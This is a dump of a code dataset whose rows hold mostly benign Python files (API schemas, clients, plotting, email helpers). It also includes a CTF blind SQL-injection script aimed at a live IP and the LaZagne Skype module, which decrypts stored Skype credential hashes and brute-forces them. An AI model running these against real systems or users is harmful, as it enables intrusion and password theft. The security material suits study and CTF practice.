hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
59dfde10f8d1208989990aa6569e660ed0ec8d32
506
py
Python
2017/BackdoorCTF/The-Wall/the-wall.py
birdsoup/CTF-Writeups
feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb
[ "MIT" ]
3
2019-03-03T00:08:19.000Z
2021-06-09T14:20:41.000Z
2017/BackdoorCTF/The-Wall/the-wall.py
birdsoup/CTF-Writeups
feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb
[ "MIT" ]
null
null
null
2017/BackdoorCTF/The-Wall/the-wall.py
birdsoup/CTF-Writeups
feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb
[ "MIT" ]
1
2021-06-18T08:56:05.000Z
2021-06-18T08:56:05.000Z
import requests import string url = 'http://163.172.176.29/WALL/index.php' response = '' sofar = '' while True: done = 1 for char in "0123456789abcdef": print(char) params = {'life':'LordCommander\' AND password LIKE \''+ sofar + char + '%', 'soul':''} r = requests.post(url, data=params) if "LordCommander" in r.text: sofar += char print("sofar=", sofar) done = 0 break if done == 1: break print sofar
22
95
0.537549
59
506
4.610169
0.627119
0.036765
0
0
0
0
0
0
0
0
0
0.069971
0.322134
506
22
96
23
0.723032
0
0
0.105263
0
0
0.185771
0
0
0
0
0
0
0
null
null
0.052632
0.105263
null
null
0.157895
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
59e266e23a1dfc7701c3ddb3c28a96ea6a9f5fd5
184
py
Python
epages_client/__init__.py
vilkasgroup/epages_client
10e63d957ee45dc5d4df741064806f724fb1be1f
[ "MIT" ]
3
2018-01-26T13:44:26.000Z
2020-05-13T13:58:19.000Z
epages_client/__init__.py
vilkasgroup/epages_client
10e63d957ee45dc5d4df741064806f724fb1be1f
[ "MIT" ]
53
2018-02-05T10:59:22.000Z
2022-01-01T19:31:08.000Z
epages_client/__init__.py
vilkasgroup/epages_client
10e63d957ee45dc5d4df741064806f724fb1be1f
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Top-level package for ePages Client.""" __author__ = """Pekka Piispanen, Tero Kotti""" __email__ = 'pekka@vilkas.fi, tero@vilkas.fi' __version__ = '0.2.0'
23
46
0.657609
25
184
4.36
0.8
0.146789
0
0
0
0
0
0
0
0
0
0.025157
0.13587
184
7
47
26.285714
0.660377
0.320652
0
0
0
0
0.529412
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ab7fbb0bb53a8246dc943735adfc8f5a753e4255
745
py
Python
databases/schemas.py
MichaelLan/PracticeFastAPI
aa7fe2167e73b4ab7c2f288db1ae93fd696083f8
[ "MIT" ]
null
null
null
databases/schemas.py
MichaelLan/PracticeFastAPI
aa7fe2167e73b4ab7c2f288db1ae93fd696083f8
[ "MIT" ]
null
null
null
databases/schemas.py
MichaelLan/PracticeFastAPI
aa7fe2167e73b4ab7c2f288db1ae93fd696083f8
[ "MIT" ]
null
null
null
from pydantic import BaseModel, Field class UserBase(BaseModel): username: str = Field(..., title='username') name: str = Field(..., title='Nombre') email: str = Field(..., title='Correo electrónico', regex='^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$') group_id: int = Field(..., title='ID del grupo al que pertenece') class GroupBase(BaseModel): name_group: str = Field(..., title='Nombre del grupo') city: str link: str = None class UserCreate(UserBase): pass class GroupCreate(GroupBase): pass class Group(GroupBase): # Para lectura id: int class Config: orm_mode = True class User(UserBase): id: int class Config: orm_mode = True
19.102564
123
0.601342
95
745
4.652632
0.473684
0.113122
0.117647
0.085973
0.156109
0.156109
0.122172
0
0
0
0
0.010453
0.22953
745
38
124
19.605263
0.759582
0.016107
0
0.363636
0
0.045455
0.184932
0.079452
0
0
0
0
0
1
0
false
0.090909
0.045455
0
0.818182
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
ab95dec5cd41d996f15d659271ea724e6829e1ea
889
py
Python
sdmx/source/wb_wdi.py
miccoli/sdmx
3e4cbc1bed655151b7ef19a3ed7fc3ecf311c0b4
[ "Apache-2.0" ]
4
2020-07-21T16:03:30.000Z
2022-01-12T12:10:05.000Z
sdmx/source/wb_wdi.py
miccoli/sdmx
3e4cbc1bed655151b7ef19a3ed7fc3ecf311c0b4
[ "Apache-2.0" ]
93
2020-05-01T10:45:13.000Z
2022-02-15T17:10:11.000Z
sdmx/source/wb_wdi.py
miccoli/sdmx
3e4cbc1bed655151b7ef19a3ed7fc3ecf311c0b4
[ "Apache-2.0" ]
8
2020-11-10T17:11:01.000Z
2022-01-19T13:35:32.000Z
from . import Source as BaseSource class Source(BaseSource): _id = "WB_WDI" def modify_request_args(self, kwargs): """World Bank's agency ID.""" super().modify_request_args(kwargs) if kwargs["resource_type"] == "categoryscheme": # Service does not respond to requests for "WB" category schemes kwargs["provider"] = "all" elif kwargs["resource_type"] != "data": # Provider's own ID differs from its ID in this package kwargs.setdefault("provider", "WB") try: if isinstance(kwargs["key"], str): # Data queries fail without a trailing slash # TODO improve the hook integration with Client.get so this can be # done after the query URL is prepared kwargs["key"] += "/" except KeyError: pass
34.192308
82
0.573678
102
889
4.921569
0.72549
0.051793
0.067729
0
0
0
0
0
0
0
0
0
0.330709
889
25
83
35.56
0.843697
0.327334
0
0
0
0
0.132653
0
0
0
0
0.04
0
1
0.071429
false
0.071429
0.071429
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
abbeb6dab92cc825e6aafbd9029fba15cfb73b04
5,486
py
Python
es_sink/es_sink/descriptor.py
AswinKakarot/community
273f7a53682591e09c7fd4b7d5ef6d21e71990fe
[ "Apache-2.0" ]
1
2021-03-19T20:24:08.000Z
2021-03-19T20:24:08.000Z
es_sink/es_sink/descriptor.py
marhak/odfe-community
c1f2802205eb11c0fdbbbef909b0e33e90ea2ad5
[ "Apache-2.0" ]
null
null
null
es_sink/es_sink/descriptor.py
marhak/odfe-community
c1f2802205eb11c0fdbbbef909b0e33e90ea2ad5
[ "Apache-2.0" ]
null
null
null
''' Copyright 2020, Amazon Web Services Inc. This code is licensed under MIT license (see LICENSE.txt for details) Python 3 Provides a buffer object that holds log lines in Elasticsearch _bulk format. As each line is added, the buffer stores the control line as well as the log line. ''' from es_sink.transport_utils import now_pst class SQSDescriptor(): '''Description of an SQS queue. Enables generalization of sink targets''' def __init__(self, q_url, region): '''An SQS queue has a URL and a region''' self._sqs_url = q_url self._region = region @property def sqs_url(self): '''The target SQS URL''' return self. sqs_url @property def region(self): '''The region of the queue''' return self._region class ESDescriptor(): '''Description of an Elasticsearch endpoint.''' def __init__(self, endpoint, region=None, es_v7=False, es_index='', es_type='', timestamped=True, signed=True, http_auth=None): '''Describes an ELasticsearch sink. This could be refactored to be a little bit better. As of now, it supports Amazon ES endpoints as well as vanilla ES endpoints. It also supports ES V6 and ES V7 endpoints. These could be mixins. endpoint: The base url to send REST API calls region: For Amazon ES domains, the AWS region. E.g. us-west-2 es_v7: Use ES V7 APIs (no _type, mostly) es_index: For API calls that use an index es_type: For ES V6 clusters and calls that use a _type timestamped: For ES API calls, mostly writes, append _YY.MM.DD to the index name signed: For Amazon ES domains, use SigV4 signing for REST API calls. Uses Boto3 and requests-aws4auth to pull credentials from the environment http_auth: A tuple with (username, password) to use in sending requests.''' self._endpoint = endpoint self._es_v7 = es_v7 self._es_index = es_index self._es_type = es_type self._region = region self._signed = signed self._timestamped = timestamped self._http_auth = http_auth @property def http_auth(self): return self._http_auth @property def region(self): '''The region of the Amazon ES domain''' return self._region @property def signed(self): '''Should requests be signed with AWS SigV4 signing?''' return self._signed @property def timestamped(self): return self._timestamped def _index_name(self): ''' Return es_index-YY.MM.DD. Not timezone-aware ''' if self._timestamped: return "{}-{}".format(self._es_index, now_pst().strftime("%Y.%m.%d")) return self._es_index def base_url(self): ''' Returns the endpoint. Slash-terminated.''' if self._endpoint.endswith('/'): return self._endpoint return '{}/'.format(self._endpoint) def base_url_with_index(self): '''Returns the endpoint/index, slash terminated. ''' return '{}{}/'.format(self.base_url(), self._index_name()) def base_url_6(self): ''' Returns the endpoint/index/type. Slash-terminated. Set timestamped=True to add the YY.MM.DD to the index name.''' return '{}{}/{}/'.format(self.base_url(), self._index_name(), self._es_type) def base_url_7(self): ''' Returns the endpoint/index/. Slash-terminated. Set timestamped=True to add the YY.MM.DD to the index name.''' return '{}{}/'.format(self.base_url(), self._index_name()) def bulk_url(self): ''' d - an ESDescriptor. Returns the base url with _bulk. This assumes that you do not want index embedded. Set timestamped=True to add the YY.MM.DD to the index name.''' return '{}{}/_bulk'.format(self.base_url(), self._index_name()) def search_url(self): ''' d - an ESDescriptor. Returns the base url with <es_index>/<es_type>/_search handles es v7 by removing the type. Set timestamped=True to add the YY.MM.DD to the index name.''' if self._es_v7: return '{}{}/_search'.format(self.base_url(), self._index_name()) return '{}{}/{}/_search'.format(self.base_url(), self._index_name(), self._es_type) ACTION_LINE_6 = '{{"index" : {{ "_index" : "{}", "_type": "{}" }} }}' ACTION_LINE_7 = '{{"index" : {{ "_index" : "{}" }} }}' def bulk_control_line(self): ''' Strictly, this shouldn't go in this class. It's not really part of a description. OTOH, all the info is here and it will save lots of duplicated code. Returns the "control" line for a _bulk request. ''' if self._es_v7: return self.ACTION_LINE_7.format(self._index_name()) return self.ACTION_LINE_6.format(self._index_name(), self._es_type)
36.331126
80
0.569996
688
5,486
4.359012
0.257267
0.042014
0.034678
0.034011
0.264088
0.246415
0.238746
0.20907
0.174725
0.142714
0
0.007359
0.331207
5,486
150
81
36.573333
0.81003
0.432556
0
0.283582
0
0
0.059196
0
0
0
0
0
0
1
0.238806
false
0
0.014925
0.029851
0.58209
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
abc7fe6ed81f6a3243f01fac4c7d9bd24438e2cc
259
py
Python
output/models/nist_data/atomic/g_day/schema_instance/nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/nist_data/atomic/g_day/schema_instance/nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/nist_data/atomic/g_day/schema_instance/nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.nist_data.atomic.g_day.schema_instance.nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd.nistschema_sv_iv_atomic_g_day_min_inclusive_3 import NistschemaSvIvAtomicGDayMinInclusive3 __all__ = [ "NistschemaSvIvAtomicGDayMinInclusive3", ]
43.166667
198
0.895753
33
259
6.30303
0.606061
0.100962
0.144231
0.192308
0.355769
0.355769
0.355769
0.355769
0.355769
0
0
0.016327
0.054054
259
5
199
51.8
0.832653
0
0
0
0
0
0.142857
0.142857
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
abd187a6da7e1ffff49d9174eb08ce9adcb4d1ae
382
py
Python
matplot-pressentation/code/example_5.py
semnan-university-ai/Computer-vision
fb1d31cce7e568dd721e100fe4cf6065e86d6901
[ "MIT" ]
5
2021-01-01T10:27:54.000Z
2021-04-23T11:22:39.000Z
matplot-pressentation/code/example_5.py
semnan-university-ai/Computer-vision
fb1d31cce7e568dd721e100fe4cf6065e86d6901
[ "MIT" ]
null
null
null
matplot-pressentation/code/example_5.py
semnan-university-ai/Computer-vision
fb1d31cce7e568dd721e100fe4cf6065e86d6901
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import numpy as np a1 = plt.subplot2grid((3,3),(0,0),colspan = 2) a2 = plt.subplot2grid((3,3),(0,2), rowspan = 3) a3 = plt.subplot2grid((3,3),(1,0),rowspan = 2, colspan = 2) x = np.arange(1,10) a2.plot(x, x*x) a2.set_title('square') a1.plot(x, np.exp(x)) a1.set_title('exp') a3.plot(x, np.log(x)) a3.set_title('log') plt.tight_layout() plt.show()
21.222222
59
0.657068
77
382
3.207792
0.376623
0.182186
0.194332
0.206478
0.145749
0
0
0
0
0
0
0.091716
0.115183
382
18
60
21.222222
0.639053
0
0
0
0
0
0.031332
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
abe8ae04affaa5ccadfbce1762790a2993bb9301
421
py
Python
tgbot/admin.py
oldevgeny/LegalTech-bot
91eb222afe9477a1cdcb9465152781bfacc11e23
[ "Apache-2.0" ]
null
null
null
tgbot/admin.py
oldevgeny/LegalTech-bot
91eb222afe9477a1cdcb9465152781bfacc11e23
[ "Apache-2.0" ]
null
null
null
tgbot/admin.py
oldevgeny/LegalTech-bot
91eb222afe9477a1cdcb9465152781bfacc11e23
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from .models import Profile, Message from .forms import ProfileForm @admin.register(Profile) class ProfileAdmin(admin.ModelAdmin): list_display = ('id', 'external_id', 'name') form = ProfileForm @admin.register(Message) class MessageAdmin(admin.ModelAdmin): list_display = ('id', 'profile', 'text', 'created_at') # def get_queryset(self, request): # pass
23.388889
58
0.705463
49
421
5.959184
0.612245
0.109589
0.164384
0.178082
0.191781
0
0
0
0
0
0
0
0.171021
421
17
59
24.764706
0.836676
0.097387
0
0
0
0
0.106101
0
0
0
0
0
0
1
0
false
0
0.3
0
0.8
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
abee705981b3f1f51cb469237ecb3f0eb80a7729
1,128
py
Python
marqeta/resources/pins.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
21
2019-04-12T09:02:17.000Z
2022-02-18T11:39:06.000Z
marqeta/resources/pins.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
1
2020-07-22T21:27:40.000Z
2020-07-23T17:38:43.000Z
marqeta/resources/pins.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
10
2019-05-08T14:20:37.000Z
2021-09-20T18:09:26.000Z
'''PINS RESOURCE WITH CRU PARAMETERS''' from marqeta.resources.collection import Collection from marqeta.response_models.control_token_response import ControlTokenResponse class PinsCollection(object): ''' Marqeta API 'pins' endpoint list, create, find and update operations ''' _endpoint = 'pins' def __init__(self, client): self.client = client self.collections = Collection(self.client, ControlTokenResponse) def new(self, data): ''' Creates an pins object :param data: data required for creation :return: ControlTokenResponse object ''' return self.collections.create(endpoint=self._endpoint, data=data) ''' Lists all the offers Returns list of all offers object ''' def create_control_token(self, data): ''' Updates an pins object :param data: data to be updated :return: ControlTokenResponse object ''' return self.collections.save(endpoint=self._endpoint + '/controltoken', data=data) def __repr__(self): return '<Marqeta.resources.pins.PinsCollection>'
29.684211
90
0.672872
121
1,128
6.140496
0.438017
0.043069
0.032301
0.04576
0.20996
0.20996
0
0
0
0
0
0
0.236702
1,128
37
91
30.486486
0.86295
0.260638
0
0
0
0
0.083582
0.058209
0
0
0
0
0
1
0.307692
false
0
0.153846
0.076923
0.846154
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
280171eee2706dcb2ef70437df013f64fd144dcb
143
py
Python
Exercises of Python courses World1-2 and 3/ex049 - Tabuada v.2.0.py
RafaFurla/Python-Exercises
8c37ac5b13a28a5f22babfeac0d4b60f90c5aff7
[ "MIT" ]
1
2022-02-21T18:00:18.000Z
2022-02-21T18:00:18.000Z
Exercises of Python courses World1-2 and 3/ex049 - Tabuada v.2.0.py
RafaFurla/Python-Exercises
8c37ac5b13a28a5f22babfeac0d4b60f90c5aff7
[ "MIT" ]
null
null
null
Exercises of Python courses World1-2 and 3/ex049 - Tabuada v.2.0.py
RafaFurla/Python-Exercises
8c37ac5b13a28a5f22babfeac0d4b60f90c5aff7
[ "MIT" ]
null
null
null
n = int(input('Choose a number to know his multiplication table: ')) for c in range(0, 11, 1): print('{} x {:2} = {}'.format(n, c, n * c))
35.75
68
0.573427
26
143
3.153846
0.846154
0.04878
0
0
0
0
0
0
0
0
0
0.044248
0.20979
143
3
69
47.666667
0.681416
0
0
0
0
0
0.447552
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f9f41af38c08768a57dacd57772ce8a8aff7993f
4,991
py
Python
Post-Exploitation/LaZagne/Windows/lazagne/softwares/chats/skype.py
FOGSEC/TID3xploits
b57d8bae454081a3883a5684679e2a329e72d6e5
[ "MIT" ]
5
2018-01-15T13:58:40.000Z
2022-02-17T02:38:58.000Z
Post-Exploitation/LaZagne/Windows/lazagne/softwares/chats/skype.py
bhattsameer/TID3xploits
b57d8bae454081a3883a5684679e2a329e72d6e5
[ "MIT" ]
null
null
null
Post-Exploitation/LaZagne/Windows/lazagne/softwares/chats/skype.py
bhattsameer/TID3xploits
b57d8bae454081a3883a5684679e2a329e72d6e5
[ "MIT" ]
4
2019-06-21T07:51:11.000Z
2020-11-04T05:20:09.000Z
from lazagne.config.write_output import print_debug from lazagne.config.moduleInfo import ModuleInfo from lazagne.config.dico import get_dico from lazagne.config.WinStructure import * from lazagne.config.constant import * import xml.etree.cElementTree as ET from Crypto.Cipher import AES import _winreg import hashlib import binascii import struct import os class Skype(ModuleInfo): def __init__(self): options = {'command': '-s', 'action': 'store_true', 'dest': 'skype', 'help': 'skype'} ModuleInfo.__init__(self, 'skype', 'chats', options) self.pwdFound = [] def aes_encrypt(self, message, passphrase): IV = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message) # get value used to build the salt def get_regkey(self): try: keyPath = 'Software\\Skype\\ProtectedStorage' try: hkey = OpenKey(HKEY_CURRENT_USER, keyPath) except Exception, e: print_debug('DEBUG', '{0}'.format(e)) return False num = _winreg.QueryInfoKey(hkey)[1] k = _winreg.EnumValue(hkey, 0)[1] return Win32CryptUnprotectData(k) except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return False # get hash from lazagne.configuration file def get_hash_credential(self, xml_file): tree = ET.ElementTree(file=xml_file) encrypted_hash = tree.find('Lib/Account/Credentials3') if encrypted_hash != None: return encrypted_hash.text else: return False # decrypt hash to get the md5 to bruteforce def get_md5_hash(self, enc_hex, key): # convert hash from hex to binary enc_binary = binascii.unhexlify(enc_hex) # retrieve the salt salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest() # encrypt value used with the XOR operation aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16] # XOR operation decrypted = [] for d in range(16): decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0]) # cast the result byte tmp = '' for dec in decrypted: tmp = tmp + struct.pack(">I", dec).strip('\x00') # byte to hex return binascii.hexlify(tmp) # used for dictionary attack, if user specify a specific file def get_dic_file(self, dictionary_path): words = [] if dictionary_path: try: dicFile = open (dictionary_path, 'r') except Exception,e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', 'Unable to open passwords file: %s' % str(dictionary_path)) return [] for word in dicFile.readlines(): words.append(word.strip('\n')) dicFile.close() return words def dictionary_attack(self, login, md5): wordlist = get_dico() # if the user specify the file path if constant.path: wordlist += self.get_dic_file(constant.path) for word in wordlist: hash = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() if hash == md5: return word return False def get_username(self, path): xml_file = os.path.join(path, u'shared.xml') if os.path.exists(xml_file): tree = ET.ElementTree(file=xml_file) username = tree.find('Lib/Account/Default') try: return unicode(username.text) except: pass return False def get_info(self, key, username, path): if os.path.exists(os.path.join(path, u'config.xml')): values = {} try: values['Login'] = username # get encrypted hash from the config file enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml')) if not enc_hex: print_debug('WARNING', 'No credential stored on the config.xml file.') else: # decrypt the hash to get the md5 to brue force values['Hash'] = self.get_md5_hash(enc_hex, key) values['Pattern to bruteforce using md5'] = unicode(values['Login']) + u'\\nskyper\\n<password>' # Try a dictionary attack on the hash password = self.dictionary_attack(values['Login'], values['Hash']) if password: values['Password'] = password self.pwdFound.append(values) except Exception,e: print_debug('DEBUG', '{0}'.format(e)) # main function def run(self, software_name = None): directory = constant.profile['APPDATA'] + u'\Skype' if os.path.exists(directory): # retrieve the key used to build the salt key = self.get_regkey() if not key: print_debug('ERROR', 'The salt has not been retrieved') else: username = self.get_username(directory) if username: d = os.path.join(directory, username) if os.path.exists(d): self.get_info(key, username, d) if not self.pwdFound: for d in os.listdir(directory): self.get_info(key, d, os.path.join(directory, d)) return self.pwdFound else: print_debug('INFO', 'Skype not installed.')
30.248485
108
0.658385
698
4,991
4.604585
0.262178
0.037337
0.047604
0.052271
0.15837
0.11761
0.107032
0.092097
0.070317
0.046049
0
0.020934
0.215187
4,991
165
109
30.248485
0.799592
0.105189
0
0.2
0
0.008333
0.130425
0.033364
0
0
0
0
0
0
null
null
0.066667
0.1
null
null
0.075
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
e607df82b0328cf323a31867e15f80488f129ac4
2,976
py
Python
api/files/api/app/send_email.py
trackit/trackit-legacy
76cfab7941eddb9d390dd6c7b9a408a9ad4fc8da
[ "Apache-2.0" ]
2
2018-02-01T09:18:05.000Z
2020-03-12T18:11:11.000Z
api/files/api/app/send_email.py
trackit/trackit-legacy
76cfab7941eddb9d390dd6c7b9a408a9ad4fc8da
[ "Apache-2.0" ]
null
null
null
api/files/api/app/send_email.py
trackit/trackit-legacy
76cfab7941eddb9d390dd6c7b9a408a9ad4fc8da
[ "Apache-2.0" ]
5
2018-05-11T10:32:52.000Z
2021-05-26T12:09:47.000Z
import smtplib from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText from app import app import config def send_email(email, subject, text, html, bypass_debug=False): if not config.SMTP_ADDRESS: return if app.debug: print 'EMAIL', email, subject.encode('utf8'), text.encode('utf8') if not bypass_debug: return fromaddr = config.SMTP_ADDRESS toaddrs = email smtp_server = config.SMTP_SERVER smtp_username = config.SMTP_USERNAME smtp_password = config.SMTP_PASSWORD smtp_port = config.SMTP_PORT smtp_do_tls = True msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = email msg['Subject'] = subject message = text.encode('utf8') if html: msg.attach(MIMEText(message, 'html', 'UTF-8')) else: msg.attach(MIMEText(message, 'plain', 'UTF-8')) server = smtplib.SMTP( host = smtp_server, port = smtp_port, timeout = 10 ) server.set_debuglevel(10) server.starttls() server.ehlo() server.login(smtp_username, smtp_password) server.sendmail(fromaddr, toaddrs, msg.as_string()) def send_email_alternative(email, subject, content_plain, content_html, bypass_debug=False): if app.debug: print('EMAIL') print(email) print(subject.encode('utf8')) print((content_plain or u'').encode('utf8')) print((content_html or u'').encode('utf8')) if not bypass_debug: return fromaddr = config.SMTP_ADDRESS toaddrs = email smtp_server = config.SMTP_SERVER smtp_username = config.SMTP_USERNAME smtp_password = config.SMTP_PASSWORD smtp_port = config.SMTP_PORT smtp_do_tls = True msg = MIMEMultipart('alternative') msg['From'] = fromaddr msg['To'] = email msg['Subject'] = subject content_plain = content_plain.encode('utf8') content_html = content_html.encode('utf8') msg.attach(MIMEText(content_plain, 'plain', 'utf-8')) msg.attach(MIMEText(content_html, 'html', 'utf-8')) server = smtplib.SMTP( host = smtp_server, port = smtp_port, timeout = 10 ) server.set_debuglevel(10) server.starttls() server.ehlo() server.login(smtp_username, smtp_password) server.sendmail(fromaddr, toaddrs, msg.as_string()) def send_raw_email(sender, recipient, content_mime): if app.debug: print('RAW EMAIL') else: smtp_server = config.SMTP_SERVER smtp_username = config.SMTP_USERNAME smtp_password = config.SMTP_PASSWORD smtp_port = config.SMTP_PORT smtp_do_tls = True server = 